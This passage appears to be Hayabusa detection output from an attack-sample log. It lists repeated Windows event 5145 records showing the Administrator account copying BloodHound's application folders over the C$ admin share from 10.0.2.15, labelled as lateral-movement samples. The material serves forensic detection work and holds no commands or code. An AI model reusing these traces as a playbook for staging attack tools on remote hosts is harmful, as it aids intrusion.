Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\lib\rank : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dagre\node_modules\lodash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.598 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\class : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\events : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\query : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\style : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.608 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\transition : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dom-helpers\util : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\dot-prop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\duplexer2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\electron-store : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.618 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\env-paths : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\eventemitter2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\eventemitter2\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\exenv : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.628 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\exit-on-epipe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\file-type : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\find-up : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fontfaceobserver : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fontfaceobserver\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.638 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\frac : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fs.realpath : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fstream : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fstream\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.648 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\fstream\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.658 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\glob : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.658 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graceful-fs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.668 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.668 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.668 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\lib\alg : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\lib\data : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\node_modules : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.678 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\graphlib\node_modules\lodash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\hyphenate-style-name : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\hyphenate-style-name\.nyc_output : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.688 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-size\lib\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\image-type : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.698 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\imurmurhash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inflight : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inherits : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.708 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib\static : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.718 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\inline-style-prefixer\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.728 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\invariant : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.728 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\isarray : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.728 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\is-obj : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\is-zip-file : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.738 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\external : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\external\sizzle : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\jquery\src\ajax : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.748 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 